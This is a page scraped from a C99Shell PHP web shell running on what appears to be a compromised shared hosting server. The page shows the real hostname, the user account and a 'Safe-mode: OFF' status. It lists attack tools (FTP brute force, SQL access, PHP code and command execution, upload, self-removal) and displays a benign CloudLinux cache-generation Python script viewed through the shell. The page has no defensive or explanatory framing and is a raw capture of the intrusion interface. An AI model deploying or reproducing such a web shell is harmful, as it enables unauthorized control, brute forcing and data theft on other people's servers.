!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/cloudlinux/venv/lib/python3.11/site-packages/clwpos/bin/   drwxr-xr-x
Free 289.88 GB of 429.69 GB (67.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     generate_accelerate_wp_cache.py (2.25 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/opt/cloudlinux/venv/bin/python3 -sbb

# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT
#

"""
This script is dedicated to save some cache data which we could
obtain fast, instead of iterating many users during our commands
Make sure script is called whatever status is changed to preserve
actual data
"""

import json
import argparse
import os
import logging

from secureio import write_file_via_tempfile
from clwpos.logsetup import setup_logging, init_wpos_sentry_safely
from clwpos.utils import is_wpos_supported, acquire_lock
from clwpos.constants import SUITES_CACHE

from clwpos.feature_suites.configurations import is_module_visible_for_user
from clwpos.optimization_features import ALL_OPTIMIZATION_FEATURES

_logger = setup_logging(
    caller_name='generate_accelerate_wp_cache',
    file_level=logging.INFO,
    logfile_path='/var/log/clwpos/generate_accelerate_wp_cache.log',
)

def generate_suites_statuses_cache():
    """
    Generates cache data for suites statuses
    """

    features_visible_for_any_user = [
        feature for feature in ALL_OPTIMIZATION_FEATURES
        if is_module_visible_for_user(feature)
    ]

    cache = {
        "suites_cache": {
            "ANY": {
                "visible": features_visible_for_any_user,
            }
        }
    }

    _logger.info('Saving cache with content=%s', str(cache))

    write_file_via_tempfile(json.dumps(cache), SUITES_CACHE, 0o600)

if __name__ == '__main__' and is_wpos_supported():
    with acquire_lock(os.path.join('/var/run/generate_accelerate_wp_cache.lock',), attempts=None):
        parser = argparse.ArgumentParser(description="Utility to collect information about user for AccelerateWP")
        parser.add_argument("--suites", default=False, action='store_true')
        args = parser.parse_args()

        init_wpos_sentry_safely()

        if args.suites:
            _logger.info("Generating suites statuses cache")
            try:
                generate_suites_statuses_cache()
            except Exception:
                import traceback
                traceback.print_exc()
                _logger.exception('Failed to generate suites statuses')


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.096 ]--